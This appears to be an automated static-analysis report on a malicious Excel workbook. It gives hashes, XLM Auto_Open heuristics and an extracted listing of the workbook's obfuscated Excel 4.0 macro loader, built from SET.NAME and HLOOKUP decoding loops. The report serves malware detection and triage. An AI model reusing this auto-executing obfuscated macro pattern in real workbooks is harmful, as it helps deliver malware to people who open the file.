Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f5b47c8b1da62739…

MALICIOUS

Office (OLE)

37.0 KB Created: 2020-11-27 11:40:26 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 426f1a39ca838bdc765ceadd75a7e697 SHA-1: 19a5eab5f79895699fc8a73c78c827ed9b03d482 SHA-256: f5b47c8b1da62739f161ec65494d52b6bd328192965d0342b8d9b3e2442d3c3f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 7001 bytes
SHA-256: ed94a34127d219762140f66ef5cb3511ba2cac1433b25d0af7ee407abc9aed56
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  uwlxLDxCjy
' 0018     27 LABEL : Cell Value, String Constant - aLpGiIzpJUtY len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A171 
' 0018     27 LABEL : Cell Value, String Constant - dIyQiEyASlgj len=0 
' 0018     26 LABEL : Cell Value, String Constant - EgQFjNXudyd len=0 
' 0018     21 LABEL : Cell Value, String Constant - hIBAFQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - HYVAinBEqNO len=0 
' 0018     26 LABEL : Cell Value, String Constant - JpbfOWdAsSa len=0 
' 0018     25 LABEL : Cell Value, String Constant - lpNjPPVoIj len=0 
' 0018     25 LABEL : Cell Value, String Constant - OvuPqNfotA len=0 
' 0018     21 LABEL : Cell Value, String Constant - pcSWuF len=0 
' 0018     23 LABEL : Cell Value, String Constant - peOtsBib len=0 
' 0018     22 LABEL : Cell Value, String Constant - qwOJXQA len=0 
' 0018     21 LABEL : Cell Value, String Constant - rwffBy len=0 
' 0018     26 LABEL : Cell Value, String Constant - shtjIBkxvVx len=0 
' 0018     25 LABEL : Cell Value, String Constant - sMwVrxRDVd len=0 
' 0018     21 LABEL : Cell Value, String Constant - srkNZZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - TUNjSLsuMc len=0 
' 0018     27 LABEL : Cell Value, String Constant - VQPnyOqIVpDg len=0 
' 0018     27 LABEL : Cell Value, String Constant - xUeMeEDHAFIt len=0 
' 0018     27 LABEL : Cell Value, String Constant - YJuldwlpNMok len=0 
' 0018     24 LABEL : Cell Value, String Constant - yxPxuZQZG len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  uwlxLDxCjy,T52,"",-95.00000000000000000000
'  uwlxLDxCjy,T53,"",833.00000000000000000000
'  uwlxLDxCjy,T54,"",-519.00000000000000000000
'  uwlxLDxCjy,T55,"",-490.00000000000000000000
'  uwlxLDxCjy,T56,"",-788.00000000000000000000
'  uwlxLDxCjy,T57,"",-358.00000000000000000000
'  uwlxLDxCjy,A82,"SET.NAME("pcSWuF",0+VALUE("0"))",""
'  uwlxLDxCjy,A85,"SET.NAME("EgQFjNXudyd",pcSWuF)",""
'  uwlxLDxCjy,A88,"SET.NAME("aLpGiIzpJUtY",pcSWuF)",""
'  uwlxLDxCjy,A91,"SET.NAME("rwffBy",COUNTA(peOtsBib))",""
'  uwlxLDxCjy,A95,"SET.NAME("TUNjSLsuMc",COUNTA(OvuPqNfotA))",""
'  uwlxLDxCjy,A100,[],""
'  uwlxLDxCjy,A103,"SET.NAME("yxPxuZQZG","")",""
'  uwlxLDxCjy,A107,"EgQFjNXudyd",""
'  uwlxLDxCjy,A112,"SET.NAME("shtjIBkxvVx",HLOOKUP("*",peOtsBib,EgQFjNXudyd,FALSE))",""
'  uwlxLDxCjy,A115,"dIyQiEyASlgj",""
'  uwlxLDxCjy,A120,"SET.NAME("srkNZZ",pcSWuF)",""
'  uwlxLDxCjy,A122,[],""
'  uwlxLDxCjy,A126,"srkNZZ",""
'  uwlxLDxCjy,A130,"JpbfOWdAsSa",""
'  uwlxLDxCjy,A133,"xUeMeEDHAFIt",""
'  uwlxLDxCjy,A135,"YJuldwlpNMok",""
'  uwlxLDxCjy,A138,"SET.NAME("hIBAFQ",VALUE(HLOOKUP("*",OvuPqNfotA,YJuldwlpNMok,FALSE)))",""
'  uwlxLDxCjy,A142,"VQPnyOqIVpDg",""
'  uwlxLDxCjy,A146,"yxPxuZQZG",""
'  uwlxLDxCjy,A151,"aLpGiIzpJUtY",""
'  uwlxLDxCjy,A153,NEXT(),""
'  uwlxLDxCjy,A156,"lpNjPPVoIj",""
'  uwlxLDxCjy,A161,[],""
'  uwlxLDxCjy,A163,"HYVAinBEqNO",""
'  uwlxLDxCjy,A165,NEXT(),""
'  uwlxLDxCjy,A169,RETURN(),""
'  uwlxLDxCjy,A196,"SET.NAME("qwOJXQA",A82)",""
'  uwlxLDxCjy,A200,"peOtsBib",""
'  uwlxLDxCjy,A204,"SET.NAME("OvuPqNfotA",R51C11)",""
'  uwlxLDxCjy,A209,"SET.NAME("HYVAinBEqNO",217)",""
'  uwlxLDxCjy,A211,"SET.NAME("sMwVrxRDVd",1)",""
'  uwlxLDxCjy,A216,qwOJXQA(),""
'  uwlxLDxCjy,A217,HALT(),""

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